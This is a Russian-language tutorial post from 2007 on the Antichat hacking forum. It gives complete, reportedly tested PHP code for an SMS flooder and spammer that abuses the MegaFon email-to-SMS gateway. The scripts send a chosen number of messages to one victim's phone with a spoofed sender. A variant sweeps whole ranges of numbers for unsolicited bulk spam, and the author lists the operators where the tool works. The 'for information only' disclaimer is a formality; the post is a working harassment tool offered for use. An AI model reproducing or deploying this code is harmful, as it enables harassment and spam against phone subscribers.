ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Пишем Sms флудер и спамер
  #1  
Старый 07.09.2007, 19:00
Аватар для inlanger
inlanger
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме:
3326855

Репутация: 702


Lightbulb Пишем Sms флудер и спамер


Статья расчитана на новичков ачата.
Всем привет. Это моя первая статья на ачате, и написать я её решил про SMS флуд и спам. Поискав на форуме, и найдя или нерабочие линки или нерабочие скрипты я решил сам накатать флудер. Жертвой стал российский МЕГАФОН.Возьмём его как пример.
ФЛУД

Для начала разберёмся, что такое флудер. В моём понимании флудер - это программа или скрипт, которая(ый) отправляет заданному адресату некую информацию в некотором количестве(часто - в очень большом).

И так, что нам нужно для написания такого флудера? Да почти ничего:
  • хостинг, с поддержкой PHP
  • мозг + прямые руки
  • умение юзать гугль
Для флуда мы будем использовать SMS шлюз данного оператора.
SMS-шлюз — интерфейс, который позволяет отправлять и получать смс-сообщения без использования мобильного телефона. SMS-сообщения преобразуются в сообщения электронной почты, HTTP-запросы и обратно. Сообщение, отправляемое через подобный шлюз, может быть бесплатным для отправителя; однако возможны технические ограничения, такие, как ограчинение числа отправляемых с одного компьютера сообщений в сутки.

Как понятно из вышеперечисленного продвинутые программеры ничего нового для себя не узнают.
Итак, вы выбрали хостинг, со всем разобрались...
Создаём страницу index.php следующего содержания:
PHP код:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>';
echo 
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange;  text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange;  text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>";
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Как понятно из кода, это будет страница с формой для отправки, ссылающейся на наш скрипт, который будет называться sms.php:
PHP код:
<?php
$from
="любой почтовый@ящик";
$to=$_POST['to'].'@sms.mgsm.ru';
$msg=$_POST['msg'];
for(
$i 0$i $kol$i++)
{
mail("$to""""$msg""From: $from");
sleep($zad);
}
print
"
<html>
<body>
<p align=\"center\">
Your 
$kol SMS:<br><b>
$msg
</b>
has been sent to 
$to
<br></p>
         <div align=right>Inlanger</div>
</body>
</html> "
;
?>
Начинаем разбирать код.
Вначале скрипта мы присваиваем переменные.
$from - любой почтовый ящик, от которого будут идти сообщения.
$to - адресат, то есть тот, кого мы бум флудить. Значение переменной берётся с формы index.php и слаживается с @sms.mgsm.ru. Что же такое, этот @sms.mgsm.ru? Это SMS шлюз оператора МЕГФОН.
$msg - переменная, в которой содержится текст, который будет посылаться.
Далее идёт цикл, задача которого и есть отправка нужного количества сообщением с паузой sleep.
Функция mail как раз отвечает за переслку почты на шлюз.

Теперь о функции sleep. Зачем она нужна?
Если мы её не впишем, то сервер не среагирует на нужное количество SMS и вышлет их в количестве 1-2 штук. Вот для того, чтобы сервер успевал реагировать и нужна эта функция. В скобках пишется количество секунд задержки. Эта цифра подбираемся методом перебора различных варинтов. Её значение может зависеть от загруженности шлюза и скорости вашего интернета. Так что тут экспериментируйте. Скрипт проверялся с параметром 7.

Проверяем работу скрипта. Заходим на нашу форму, вводим нужные данные и жмём кнопку...
Теперь стоит учесть, что скрипт выполняется не сразу, а постепенно, ожидая выставленную вами паузу после отпраки каждого ообщения.

СПАМ


Что такое спам? Я понимаю спам как массовую рассылку какой-то информации разным людям в разных целях. Что нам нужно для организации спама
  • всё, что было перечисленно для флудера
Нужно немного переделать форму отпраки. Приведу только фрагмент:
PHP код:
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form> 
И немного модифицированный код sms.php:

PHP код:
<?php
$from
="любой почтовый@ящик";
$to=$i.'@sms.mgsm.ru';
$msg=$_POST['msg'];
for(
$i $diapstart$i <= $diapfinish$i++)
{
mail("$to""""$msg""From: $from");
sleep($zad);
}

 ...
Думаю, тут всё понятно. Мы двигаемся по заданному диапозону номеров и отсылаем им SMS с заданным интервалом. У данного метода:
[+] работает без базы. на лицо экономия средств и трафика
[+] в отличие от базы - попадаете и в новичков сети, которых в базах(платных и бесплатных) ещё нет
[-] не все отправленые SMS будут доходить по той причине, что таких номеров может не существовать. Но можно подбирать такие диапозоны, чтобы была максимальная вероятность доставки SMS.

Что сказать в заключении...
Данный материал не призывает вас к действию и имеет ознакомительный характер. Автор статьи я, и при копипасте ссылка сюда обязательна.
При небольшом желании и должном умении скрипт модифицируется в спамера или подстраивается под любого другого оператора, с работающим SMS шлюзом.Вот для поиска шлюзов нам и надо было умение гуглить. Для ленивых - большой список шлюзов, и ещё больше . Но это, может быть, будет следующая статья.

P.S. Флудер на днях проверлся. Всё прекрасно работает. Если не работает, тут есть несколько вариантов. Один - кривые руки. Второй - ваш хостинг не держит функцию mail. Третий - оператор изменил шлюз или шлюз перегружен.

P.P.S. Тут будет список операторов, на котором флудер/спамер работает(проверенные юзерами ачата):
МЕГФОН
МОТИВ(Екатеринбург)

Последний раз редактировалось inlanger; 07.09.2007 в 22:52..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Флудер sms для beeline nc.STRIEM PHP, PERL, MySQL, JavaScript 20 24.01.2008 12:29
Обменяю icq флудер на sms флудер [Pro.Stor] Разное - Покупка, продажа, обмен 4 22.04.2007 13:32
Ломаем Gsm-оператора или как бесплатно звонить SergeyTitov Сотовый фрикинг 26 11.03.2006 23:07
Пишем MailBomber на перле foreva Чужие Статьи 3 08.02.2005 07:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ